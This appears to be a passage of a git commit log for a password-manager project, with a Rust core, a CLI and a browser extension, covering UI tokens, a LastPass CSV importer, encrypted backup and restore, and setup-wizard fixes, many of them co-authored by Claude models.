Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:52:26 -04:00
adlee-was-taken
e2381ed2ec refactor(ext/popup): migrate required-field markers to REQUIRED_PILL_HTML
Replaces ten <span class="req">*</span> sites across all seven type
forms with the shared REQUIRED_PILL_HTML snippet ('required' badge).
Adds a regression test pinning the new HTML in the login form.

Plan 2026-04-30 fullscreen UX phase 1 task 4.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:46:07 -04:00
adlee-was-taken
6e720554fa style(ext/vault): migrate .btn:focus to :focus-visible + var(--focus-ring)
Code-review feedback on Task 3: vault button focus was the last
hardcoded #d2ab43 + bare :focus rule not yet migrated. Brings vault
button focus into parity with popup (which Task 2 already migrated)
and removes the last raw accent literal from the focus-related rules.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:42:24 -04:00
adlee-was-taken
f0d8758a80 style(ext/vault): mirror color tokens, focus ring, required-pill class
Same :root block and .req-pill rule as popup/styles.css so the two
stylesheets share visual tokens. Vault input focus migrated to
:focus-visible + box-shadow ring.

Plan 2026-04-30 fullscreen UX phase 1 task 3.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:39:46 -04:00
adlee-was-taken
e5875249bf style(ext/popup): add color tokens, focus ring, required-pill class
Establishes :root CSS custom properties (accent, surfaces, status, focus
ring) and applies the focus ring to inputs/buttons via :focus-visible.
Adds .req-pill class used by Task 4 to replace the bare-asterisk required
marker. Existing .label .req kept for backward compatibility during the
migration window.

Plan 2026-04-30 fullscreen UX phase 1 task 2.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:36:26 -04:00
adlee-was-taken
506ad9711d refactor(ext/shared): rename REQUIRED_PILL → REQUIRED_PILL_HTML
Code-review feedback on Task 1: the _HTML suffix makes the 'this is raw
HTML, do not escape' contract obvious at every call site. Cheap to do
now (zero consumers); would be 8 diffs once Tasks 4-6 wire the constant
into the type forms.

Plan updated in lockstep so Task 4 references the new name.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:29:49 -04:00
adlee-was-taken
33b3f0b019 feat(ext/shared): glyph constants module for unified icon language
Centralizes the unicode glyphs used by sidebar nav and form action buttons
so popup and fullscreen surfaces stay in sync. Includes the REQUIRED_PILL
snippet used to replace the trailing-asterisk required-field marker.

Plan 2026-04-30 fullscreen UX phase 1 task 1.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:25:12 -04:00
adlee-was-taken
31672b714d fix(ext/vault): renderPane preserves in-memory newType when hash lacks /type
In the fullscreen UX, clicking '+ new item' set the hash to '#/add'
(no type) and called renderPane. The user then clicks a type button;
its handler calls setState({ newType: type }), which in vault.ts
triggers renderPane again. renderPane was unconditionally re-deriving
state.newType from the URL hash — clobbering the just-selected type
back to null. Result: the type-selection screen kept re-rendering and
no item could be created.

Fix: prefer route.type when present (deep-link case); otherwise keep
the in-memory state.newType. Same field order, same one-line touch.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:22:06 -04:00
adlee-was-taken
f1ae5841bc fix(ext): generate_device_keypair returns object not JSON string
The wasm-bindgen binding for generate_device_keypair uses
serde-wasm-bindgen and returns a plain JsValue (object), not a JSON
string. Two consumers were calling JSON.parse on it, causing the
runtime error 'SyntaxError: "[object Object]" is not valid JSON' which
broke device registration end-to-end.

Fixes:
- wasm.d.ts: return type now { public_key_hex; private_key_base64 }
  matching the rate_passphrase pattern (also a JsValue-returning
  binding).
- popup-only.ts (register_this_device handler) and setup.ts (initial
  device wire-up): drop JSON.parse, use the object directly.
- router.test.ts: pin the contract — mock generate_device_keypair as a
  function returning an object (matching real binding behavior) and
  assert register_this_device returns ok and forwards the public key.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:21:47 -04:00
adlee-was-taken
9ed7e7c25b docs(plans): fullscreen UX phase 1 — visual foundation
Eight bite-sized tasks for the visual baseline: shared/glyphs.ts module,
color-token & focus-ring CSS in popup and vault, .req-pill class, migration
of all ten required-marker sites and ten emoji glyph sites to the shared
constants, gating of the popout-to-tab button on !isInTab(), and a static
"esc to cancel" subtitle in fullscreen forms.

Each task pairs a failing test with a minimal implementation; ends with a
commit. Sets the visual language that phases 2-4 build on.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:17:29 -04:00
adlee-was-taken
ad2c0f9e24 docs(specs): fullscreen UX redesign — layout, polish, smart inputs, power-user features
Captures the brainstorm output for the fullscreen vault tab: two-column login
form with sticky save bar, monospace-coherent glyph buttons, eight smart-input
affordances (fill-from-tab, hostname chip, group autocomplete, password reveal
& strength, TOTP live preview, TOTP-from-QR, notes monospace), and seven
power-user features (three-pane shell, keyboard nav, ⌘K palette, unsaved guard,
multi-select bulk ops, drag-drop attach, recent items).

Includes a CLI-parity section pairing each extension capability with its CLI
counterpart so the surfaces ship together.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:10:33 -04:00
adlee-was-taken
c7c103e4d1 Merge feature/lastpass-importer: Plan 3B — LastPass CSV importer (v0.3.0)
17 tasks executed via subagent-driven development with two-stage review
per task and a final all-tasks code review (Approve-with-fixes; both
flagged items resolved as documentation tightenings in cf39601).

Adds:
- relicario import lastpass <csv> CLI command
- Vault-tab Import panel + popup deep-link
- WASM bridge parse_lastpass_csv_json
- 44 new tests (22 parser + 6 CLI + 5 SW + 4 router + 5 panel + 2 WASM)

Spec: docs/superpowers/specs/2026-04-27-relicario-import-export-design.md
Plan: docs/superpowers/plans/2026-04-29-relicario-lastpass-import.md

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 19:04:50 -04:00
adlee-was-taken
cf3960186c docs(core,cli): document implicit contracts flagged in code review
- import_lastpass.rs: note that password and extra are intentionally
  not trimmed (leading/trailing whitespace is significant for both).
- cmd_import_lastpass: document the coupling between the
  ImportWarning message strings and the CLI summary's "skipped"
  filter — partial-import warnings (TOTP/URL) must not contain
  the word "skipped".

Comment-only; no behavior change. Catches I1 and M5 from the
final code review without taking on the cross-cut WarningKind
enum refactor (deferred to a follow-up if it ever ships).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 18:55:46 -04:00
adlee-was-taken
1562a2be47 docs(changelog): LastPass CSV importer (Plan 3B)
Documents `relicario import lastpass <csv>` and the vault-tab
Import panel under Unreleased / Added.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 18:49:15 -04:00
adlee-was-taken
ab5a885f10 test(ext/vault): vitest for the Import panel
Mocks sendMessage. Covers: file-picker fires
parse_lastpass_csv, preview text matches the parsed counts,
confirm fires import_lastpass_commit with the parsed items,
warnings render after import, cancel clears the preview.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 18:45:23 -04:00
adlee-was-taken
66981588e7 feat(ext/vault): Import panel — LastPass CSV
New vault.html#import panel with a file picker, parse-preview
("N logins, M notes, K skipped — proceed?"), confirm/cancel
buttons, inline progress, and a post-import warnings list. The
popup's settings-vault view links to it via a new
"LastPass CSV →" button next to "Backup & restore →".

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 18:43:35 -04:00
adlee-was-taken
da6f08fa35 test(ext/router): sender matrix for LastPass import messages
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:33:52 -04:00
adlee-was-taken
ecb137a120 test(ext/sw): unit tests for parse + commit handlers
Mocks the WASM bridge and vault helpers. Covers:
- parse_lastpass_csv pass-through + error surface
- commit happy path: 3 items → 3 encryptAndWriteItem +
  1 encryptAndWriteManifest call
- vault_locked + empty-items rejections
- IDs re-minted by SW so manifest keys match the new IDs

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:33:16 -04:00
adlee-was-taken
b29a138411 feat(ext/sw): parse + commit handlers for LastPass import
parse_lastpass_csv is a pure pass-through to the WASM bridge.
import_lastpass_commit re-mints each item's ID via
state.wasm.new_item_id() (same pattern as add_item), encrypts
and writes per-item via git.writeFile, then writes the manifest
last. Per-item commits + a final manifest commit — extension
GitHost has no atomic-batch API, so the single-commit semantics
the CLI provides aren't replicable here.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:30:26 -04:00
adlee-was-taken
fbd029e4cb feat(ext/shared): message types for LastPass import
Adds parse_lastpass_csv (preview) and import_lastpass_commit
(write) to the popup-only message set, plus typed response
helpers. SW handlers + UI follow in Tasks 12-14.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:30:18 -04:00
adlee-was-taken
1f764a4639 feat(wasm): parse_lastpass_csv_json bridge
Returns { items: [Item], warnings: [ImportWarning] } as a JSON
string. The items already have fresh IDs + timestamps; the SW
caller encrypts and writes them through the existing
item_encrypt + manifest_encrypt bridges.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:25:25 -04:00
adlee-was-taken
d6831fcfd8 test(cli): integration coverage for import lastpass
Fixture CSV exercises 11 rows: standard login, login + TOTP,
SecureNote (plain + structured), unicode title, bad URL,
malformed rows. Tests verify item count, single git commit,
warning surface area, exit code, and ID uniqueness across
back-to-back imports.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:22:54 -04:00
adlee-was-taken
2fda9e0d50 feat(cli): cmd_import_lastpass — full data flow
Unlocks the vault, parses the CSV, encrypts each item, writes
items/<id>.enc and manifest.enc, then a single
`git add … && git commit` covers all of them. Stderr progress
every 50 items + final summary. Exit non-zero only when zero
items imported.
2026-04-29 23:16:07 -04:00
adlee-was-taken
ab8839a46a feat(cli): clap surface for import lastpass
Adds the Import command group with a Lastpass subcommand.
Stub returns `not implemented` so the help text is reachable
ahead of the body landing in Task 8.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:12:44 -04:00
adlee-was-taken
6f2e868892 feat(core): import_lastpass — URL/header robustness
Bad URLs in login rows downgrade to url: None with a warning
rather than skipping the row. Header mismatches (extra columns,
wrong order) surface ImportCsvHeader. Quoted commas, multi-line
extra, unicode all parse cleanly via the csv crate's defaults.
2026-04-29 23:09:23 -04:00
adlee-was-taken
0841bddcb5 feat(core): import_lastpass — SecureNote rows
Rows with url == "http://sn" map to SecureNoteCore with extra
copied verbatim into the body. LastPass-packed structured data
(credit cards, addresses) flows through unparsed — users can
re-categorize manually post-import.

SecureNote rows skip the password-required check that applies
to Logins.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:06:03 -04:00
adlee-was-taken
c4905c5ee7 feat(core): import_lastpass — TOTP base32 → TotpConfig
Successful base32 decode attaches a SHA1/6/30s Totp config to
LoginCore.totp. Bad base32 emits a warning and imports the login
without TOTP rather than skipping the row entirely.

Refactors map_row to return (Option<Item>, Option<ImportWarning>)
so a single row can produce both an item and a warning.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 23:02:16 -04:00
adlee-was-taken
16888d5a3a feat(core): import_lastpass — group, favorite, notes
Map LastPass grouping/fav/extra columns to relicario item metadata.
Grouping becomes item.group, fav="1" sets item.favorite, extra becomes item.notes.
Multi-line extra via CSV quoting round-trips correctly.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 22:57:37 -04:00
adlee-was-taken
9ee876cc4b feat(core): import_lastpass parser — happy-path Login
Pins the parse_lastpass_csv signature and ImportWarning shape.
A single LastPass row with name/url/username/password round-trips
to a Login item with a freshly-minted ID. Header validation
rejects shape mismatches with a clear message.

TOTP, grouping, fav, SecureNote rows, and error paths land in
Tasks 3-6.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 22:52:20 -04:00
adlee-was-taken
768f0d39a5 feat(core): add csv dep + import error variants
Adds csv = "1" to relicario-core; introduces
ImportCsvHeader and ImportCsvFormat. Foundation for the
import_lastpass module landing in Task 2.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 22:47:06 -04:00
adlee-was-taken
b7180e70f9 docs: fix plan 3B test commands to use bun, not pnpm
The repo uses bun (bun.lock present, no pnpm/npm available).
Replaces all pnpm references in the plan with bun equivalents.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 22:40:03 -04:00
adlee-was-taken
41043e92dc docs: plan 3B — LastPass CSV importer
Implementation plan for the LastPass importer (D10–D13 of the
import/export spec). 17 tasks: 6 core (parser TDD), 3 CLI
(clap + handler + integration tests), 1 WASM bridge, 4 SW
(messages + handlers + tests + router), 2 vault tab
(Import panel + vitest), 1 CHANGELOG. Sibling to Plan 3A;
both must merge before v0.3.0 tagging.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 21:40:54 -04:00
adlee-was-taken
565366493d Merge feature/backup-restore: Plan 3A — backup & restore (v0.3.0)
23 commits implementing the .relbak format (XChaCha20-Poly1305 +
Argon2id, zstd-compressed JSON envelope, opt-in image and git
history), the CLI 'relicario backup export/restore' commands, the
WASM bridge, the SW handlers, the vault-tab Backup & Restore panel,
and tests at every layer.

Final test sweep: cargo 0 failed (~150 Rust tests); vitest 205
passed (27 files); tsc clean.
2026-04-29 20:29:16 -04:00
adlee-was-taken
17ff79d5f6 docs: plan 3A spec + pre-v0.3.0 audit checklist
Plan 3A: backup & restore — drives the feature branch landing in
the next commit (merge of feature/backup-restore).

Pre-v0.3.0 audit checklist: manual smoke-test list for the v0.2.x
audit-pass commits (TOTP edit, history, detach, status, generator
defaults, vault-tab parity, sync button) — to walk through before
the v0.3.0 tag.
2026-04-29 20:29:09 -04:00
adlee-was-taken
85386eb52a docs(changelog): backup & restore (Plan 3A) 2026-04-28 22:24:15 -04:00
adlee-was-taken
218ccb8efa test(ext/sw): export/restore handler unit tests 2026-04-28 22:20:07 -04:00
adlee-was-taken
c1f48ecb71 test(ext): vault-tab Backup & Restore panel 2026-04-28 22:17:09 -04:00
adlee-was-taken
419408bbad feat(ext): vault-tab Backup & Restore panel
Two cards — Export (passphrase + include-image checkbox → download)
and Restore (file picker + passphrase + new-remote form). Deep-linked
from settings-vault > 'Backup & restore →'.
2026-04-28 22:11:51 -04:00
adlee-was-taken
06913a0aed test(ext/sw): router accepts/rejects backup messages per sender 2026-04-28 22:03:02 -04:00
adlee-was-taken
9ec5e9b4e1 fix(ext/sw): atomic chrome.storage update in restore_backup
Single set({vaultConfig, imageBase64?}) instead of two sequential sets,
so a partial-write window can't leave vaultConfig pointing to the new
remote while imageBase64 still references the old vault.
2026-04-28 22:01:56 -04:00
adlee-was-taken
2e825a9d33 feat(ext/sw): restore_backup handler
Unpacks .relbak via WASM, writes every vault artifact to the
user-specified fresh remote via writeFileCreateOnly (refuses to
clobber), and updates chrome.storage.local so subsequent unlocks
hit the restored vault. The reference image — when bundled — is
restored to imageBase64; otherwise the user keeps using their
existing reference.jpg.
2026-04-28 21:58:14 -04:00
adlee-was-taken
5d9ea37b7f feat(ext/sw): export_backup handler
Reads vault state via GitHost, calls pack_backup_json in WASM, returns
the .relbak bytes back to the panel for chrome.downloads.download.
Reference image inclusion comes from chrome.storage.local.imageBase64.
Git history is never bundled from the extension (CLI is the source of
full backups).
2026-04-28 20:16:52 -04:00
adlee-was-taken
f32c14f939 feat(ext/sw): export_backup / restore_backup message types 2026-04-28 20:12:07 -04:00
adlee-was-taken
7407fe512f feat(wasm): pack_backup_json / unpack_backup_json
JSON bridge for the SW. Binary fields are base64 in the JSON wrapper;
core gets borrowed byte slices.
2026-04-28 19:52:36 -04:00
adlee-was-taken
6d96ca8288 test(cli): humanize_age bucket boundaries + plural transitions
Locks the singular vs plural transition (1 minute ago vs 2 minutes
ago) and each bucket boundary (59→60s minutes, 3599→3600s hours,
86400→86400×2 days, etc.) so future tweaks can't silently regress
the user-facing labels.
2026-04-28 19:48:50 -04:00
adlee-was-taken
536ef2464b test(cli): tighten last-export label assertions to exact match
Drop the dead `stdout.contains("last export:")` + `.to_lowercase()` fallback
in status_shows_last_backup_line and status_shows_recent_backup_after_export;
assert `stdout.contains("Last export:")` verbatim instead.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-28 19:46:03 -04:00
adlee-was-taken
a32f13b63a feat(cli): status shows last export age
Reads .relicario/last_backup (written by cmd_backup_export). Format:
'never' for fresh vaults, '4 days ago' otherwise. Closes the
'is my backup stale?' question without leaving the terminal.
2026-04-28 19:42:10 -04:00
adlee-was-taken
bd7bef7ce4 test(cli): export/restore round-trip + error paths 2026-04-28 19:32:58 -04:00
adlee-was-taken
734325a31f feat(cli): cmd_backup_restore — unpack .relbak into target dir
Refuses non-empty target, prompts for backup passphrase, writes the
full vault layout, untars .git/ when bundled or git-inits a fresh
'restore from backup <iso8601>' commit otherwise.

Also tightens error context on tar_directory's builder.finish().
2026-04-28 19:25:45 -04:00
adlee-was-taken
7ce57353f2 feat(cli): cmd_backup_export — pack vault into .relbak
Reads the vault layout from disk, prompts for backup passphrase
(zxcvbn-gated, independent of the live vault key), tars .git/
unless --no-history, optionally bundles the reference JPEG, and
atomic-writes the .relbak. Leaves .relicario/last_backup marker
for cmd_status.
2026-04-28 19:21:02 -04:00
adlee-was-taken
b8dfcd0e97 feat(cli): clap surface for backup export/restore (handlers stubbed)
Adds 'relicario backup' as a subcommand wrapping export and restore.
Stubs return 'not yet implemented' — handlers land in Tasks 8 and 9.
The existing top-level 'relicario restore <query>' (un-trash) is
untouched.
2026-04-28 19:16:05 -04:00
adlee-was-taken
e02f62f961 test(core): backup error paths
Covers bad magic, unsupported version, wrong passphrase, truncation,
and tampered ciphertext. The wrong-passphrase / tampered-tag pair both
collapse to RelicarioError::Decrypt — same opaque-failure contract as
the live vault.
2026-04-27 22:42:44 -04:00
adlee-was-taken
1ffe333697 test(core): backup round-trips git archive + size check 2026-04-27 22:39:55 -04:00
adlee-was-taken
e4949c4c06 test(core): backup round-trips reference image bytes 2026-04-27 22:37:38 -04:00
adlee-was-taken
0b59b94a0b test(core): populated-vault round-trip for backup 2026-04-27 22:34:36 -04:00
adlee-was-taken
08086b9a9e feat(core): backup module — empty-vault round-trip
pack_backup / unpack_backup ship the magic header, format version,
Argon2id KDF, XChaCha20-Poly1305 AEAD, and zstd-compressed JSON
envelope. Empty-vault round-trip is the foundation; later tasks
add items, attachments, image, and git history.
2026-04-27 22:29:10 -04:00
adlee-was-taken
57dd186bab feat(core): add backup deps + error variants
Adds zstd, tar, base64 to relicario-core; introduces
BackupBadMagic / BackupUnsupportedVersion / BackupSchemaMismatch.
Foundation for the backup module landing in Task 2.
2026-04-27 22:22:04 -04:00
adlee-was-taken
c66fd520f8 docs(arch): per-codebase ARCHITECTURE.md + cross-codebase overview
Strategic-depth architecture documentation, the kind that's hard to
recover by reading code: invariants, multi-file flows, design rationale,
gotchas. Goal is to cut the token cost for future Claude sessions.

Four new docs (2091 lines total):

- crates/relicario-core/ARCHITECTURE.md (514 lines) — bytes-in/bytes-out
  boundary, 24 verified invariants (VERSION_BYTE=0x02, length-prefixed
  KDF input, NFC normalization, content-addressed AttachmentId, history-
  tracked field kinds, 60% imgsecret confidence floor, MAX_DIMENSION=
  10000, etc.), 7 multi-module flows, 16 non-obvious gotchas (QUANT_STEP=
  50, central-70%-embed, BIP39-128bit-then-truncate, Steam alphabet
  rationale).

- crates/relicario-cli/ARCHITECTURE.md (539 lines) — module map for the
  three source files; the cmd_add/cmd_edit per-type helper pattern (post-
  2026-04-27 refactor); the hardened-git invariant (Command::new("git")
  is gated to helpers.rs:46); the five history synthetic keys; the env-
  var escape-hatch policy; cmd_generate's two-mode design (no-unlock
  outside vault, unlock-and-read-defaults inside).

- extension/ARCHITECTURE.md (831 lines) — five-bundle structure (popup,
  vault, setup, content, service-worker); SW-as-crypto-fortress model;
  capability-set-or-silent-rejection contract; vault-tab-as-popup-class
  router parity (commit a7dbf35); origin TOFU flow; setup state machine;
  test-vs-build gap.

- docs/architecture/overview.md (207 lines) — cross-codebase entry point.
  How the three codebases fit together, the four versioned wire formats
  between them (core→WASM ABI, SW chrome.runtime protocol, vault on-disk
  layout, GitHost API), per-codebase secret residency table, build
  matrix, conventions that span all three.

Specs in docs/superpowers/specs/ remain as historical decision artifacts
("why we chose this") — the new arch docs are the source of truth for
"what is" current invariants and flows.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 21:41:26 -04:00
adlee-was-taken
b951741366 docs(changelog): unreleased entries for the 2026-04-27 audit pass
Catches the changelog up with the audit-driven CLI + extension work and
the cmd_add / cmd_edit / setup.ts internal refactors.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 21:13:35 -04:00
adlee-was-taken
3f0f5b1b28 feat(cli): close audit gaps — TOTP edit, history, detach, status, generator defaults
One coherent CLI completeness pass driven by the 2026-04-27 state-of-the-
project audit. All TDD; 6 new integration tests (workspace 158→164).

Stubs and dead state fixed:
- TOTP edit was an explicit stub at main.rs:925 ("delete and re-add for
  now"). Now supports editing issuer, label, and rotating the secret;
  rotated secrets are pushed to field_history under core:totp_secret.
- VaultSettings.generator_defaults was stored but never read by the CLI.
  cmd_generate now consults it when invoked inside an initialized vault;
  explicit flags override. Behavior outside a vault unchanged.

New commands:
- relicario settings generator-defaults [--random|--bip39] [--length |
  --words | --symbols | --separator] — view/edit the stored generator
  defaults.
- relicario history <query> [--show] [--field <name>] — view captured
  field history. Values masked by default.
- relicario detach <query> <aid> — remove an individual attachment +
  blob. Refuses to drop a Document item's primary attachment.
- relicario status — vault summary: root path, item counts (active /
  trashed), attachment count + total bytes, registered device count,
  last commit (%h %s).

Internal refactor (pure mechanical, no behavior change):
- cmd_add: 217-line match split into one build_<type>_item helper per
  ItemCore variant + a 7-arm dispatcher.
- cmd_edit: same treatment — edit_login, edit_card, edit_totp, etc. The
  history-tracking ones take a &mut FieldHistory alias for clarity.

Existing tests cover the refactor; the new helpers are tested through
the same integration paths.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 21:13:30 -04:00
adlee-was-taken
f79a67bb15 refactor(ext/setup): extract pure helpers to setup-helpers.ts
The setup wizard was 1205 lines in a single file. Extract the
state-independent helpers (escapeHtml, ratePassphrase, scheduleRate,
entropyText, STRENGTH_LABELS, the Strength interface) into a sibling
setup-helpers.ts. updateStrengthUi stays in setup.ts since it walks the
live wizard state object and would force every caller to thread that
state through.

setup.ts: 1205 → 1137 lines. Pure mechanical extraction; no behavior
change. Existing tests are the safety net (24 vitest files, all pass).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 21:13:13 -04:00
adlee-was-taken
a7dbf35126 feat(ext): sync now button + device register from popup; vault tab parity
Closes three audit gaps in one pass:

1. Sync now button in the popup settings view (📤). Triggers the existing
   { type: 'sync' } SW message and surfaces success / failure inline. The
   SW message was already wired but had no UI entry point.

2. Device registration from the popup. The "Register this device" button
   on the devices view used to error out with a "not yet implemented"
   message; it now opens an inline name input (default = browser+OS), and
   on confirm sends a new register_this_device SW message that generates
   an ed25519 keypair via WASM, persists private_key + name to
   chrome.storage.local, and writes the public key to the remote
   devices.json. No setup-wizard detour.

3. Vault tab is now an authorized sender for popup-only SW messages. The
   router accepts vault.html alongside popup.html, so the fullscreen tab
   can drive the same flows. Test covers acceptance from the vault tab.

New SW message: register_this_device { name }. Added to PopupMessage and
POPUP_ONLY_TYPES, handled in router/popup-only.ts.

Tests: 5 new vitest cases (3 in settings.test.ts, 2 in devices.test.ts)
+ 1 router test for vault-tab acceptance. All 194 extension tests pass.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 21:13:05 -04:00
adlee-was-taken
086b73b260 docs(claude.md): pin autonomy rule for routine decisions
Add a "Working with the user" section at the top of CLAUDE.md so the
default-to-recommended autonomy rule travels with the repo, not just
with the user's local memory. Mirrors the feedback memory of the same
name: pick the recommended option without prompting on minor
multiple-choice / yes-no decisions; pause before destructive git/rm
operations; brainstorming-skill intent-discovery questions still need
user input.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 21:12:48 -04:00
adlee-was-taken
d8a06346b9 docs(spec): import/export + LastPass migration design
Brainstormed scope: backup/restore round-trippable to relicario, plus a
LastPass CSV importer. Migration out is explicitly out of scope. CLI and
fullscreen vault tab get parity; popup is untouched.

Backup format `.relbak` v1: magic header + version + Argon2id salt +
XChaCha20-Poly1305 nonce + AEAD-encrypted, zstd-compressed JSON envelope
with base64'd binary blobs. KDF params are tied to backup format
version, not the live vault's params.json.

Reference image inclusion is opt-in; .git history is opt-out. Backup
passphrase is independent of the vault passphrase. Restore refuses if
the target dir already has a vault.

Includes architecture, data flow, error handling, testing strategy,
LastPass field-mapping table, risks, and effort estimate (~5.5 dev-days
for full CLI + extension parity).

Implementation plan and code to follow.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 20:57:06 -04:00
adlee-was-taken
beff092818 fix(ext/setup): lock verified handle on Step 5 error + early-return paths
Mirrors Step 3b's discipline. Previously, if save_setup failed or addDevice
threw, state.verifiedHandle (the WASM session from Step 3b) would remain
in linear memory until tab close. Now lock+null on every exit path.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 19:12:22 -04:00
adlee-was-taken
aa1ad99e6e chore: bump version to 0.2.0 + add CHANGELOG
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 19:02:35 -04:00
adlee-was-taken
2756033bf9 feat(ext/setup): unified device registration in Step 5; fixes silent dropped pubkey
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:34:35 -04:00
adlee-was-taken
e79e80b000 feat(ext/setup): Step 3b attach flow with decrypt verification
Replace placeholder renderStep3Attach/attachStep3Attach with the real
attach flow: file-picker for reference JPEG, passphrase input with
visibility toggle, then fetch salt+params+manifest.enc, call
unlock()+manifest_decrypt() to AEAD-verify credentials before
advancing to Step 4. Wrong passphrase/image shows a clear error;
partial handles are locked on failure to avoid key-material leaks.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:32:27 -04:00
adlee-was-taken
214f8da673 fix(ext/setup): wizard writes settings.enc to match CLI init
Add default_vault_settings_json() to the hand-written wasm.d.ts
declarations, then use it in attachStep3New to encrypt and push
settings.enc after manifest.enc during new-vault creation. Wizard-
created vaults now have all four files the SW expects (salt,
params.json, manifest.enc, settings.enc), preventing the
get_vault_settings 404 on first unlock.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:29:10 -04:00
adlee-was-taken
3aa17e6be2 feat(wasm): default_vault_settings_json() for wizard parity with CLI init
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:27:07 -04:00
adlee-was-taken
399a276fdd feat(ext/setup): refuse to overwrite existing vault files (Step 3a clobber guard)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:24:16 -04:00
adlee-was-taken
f44aedfa76 feat(ext/setup): vault-presence probe + mode-mismatch banners on Step 2
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:22:45 -04:00
adlee-was-taken
a182c1ac5a feat(ext/setup): Step 0 mode picker (new vs attach) + Step 1 back button
Replace the placeholder Step 0 with two clickable mode-card buttons (create
new vault / attach this device). Picking a card highlights it and enables
the next button; the back button on Step 1 returns to Step 0 without losing
state. Add .mode-card CSS using the existing dark palette (#30363d, #58a6ff).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:20:24 -04:00
adlee-was-taken
7fa1f2990f refactor(ext/setup): wizard state shape for mode-aware flow
Expand WizardState with mode/vaultProbe/referenceImageBytesAttach/
verifiedHandle/attaching fields; start wizard at step 0; grow progress
bar to 6 segments; rename renderStep3/attachStep3 to *New variants;
add placeholder renderStep0/attachStep0/renderStep3Attach/attachStep3Attach.
No behaviour change for the existing new-vault flow.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:14:42 -04:00
adlee-was-taken
8e72ed8714 feat(ext/setup): vault-presence probe helper
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:12:04 -04:00
adlee-was-taken
19bb5b5293 test(ext/sw): assert PUT method on GitHub writeFileCreateOnly create path
Mirrors the POST assertion already present in the Gitea "creates" test —
catches accidental method drift.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 18:10:32 -04:00
adlee-was-taken
86b5941875 feat(ext/sw): GitHost.writeFileCreateOnly() refuses to overwrite
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:06:48 -04:00
adlee-was-taken
98c962796f test(ext/sw): assert lastCommit URL structure + comment limit/per_page divergence
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 18:04:56 -04:00
adlee-was-taken
2c94dfaf90 feat(ext/sw): GitHost.lastCommit() for vault-presence metadata
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 17:48:24 -04:00
adlee-was-taken
7588a75bdc docs: implementation plan for attach-existing-vault wizard split (v0.2.0)
11 main tasks + 2 addendum tasks (Tasks 7a/7b) covering:
- GitHost.lastCommit() and GitHost.writeFileCreateOnly()
- Vault-presence probe helper
- Wizard state refactor + Step 0 mode picker
- Step 2 probe wiring with mode-mismatch banners
- Step 3a clobber guard via writeFileCreateOnly
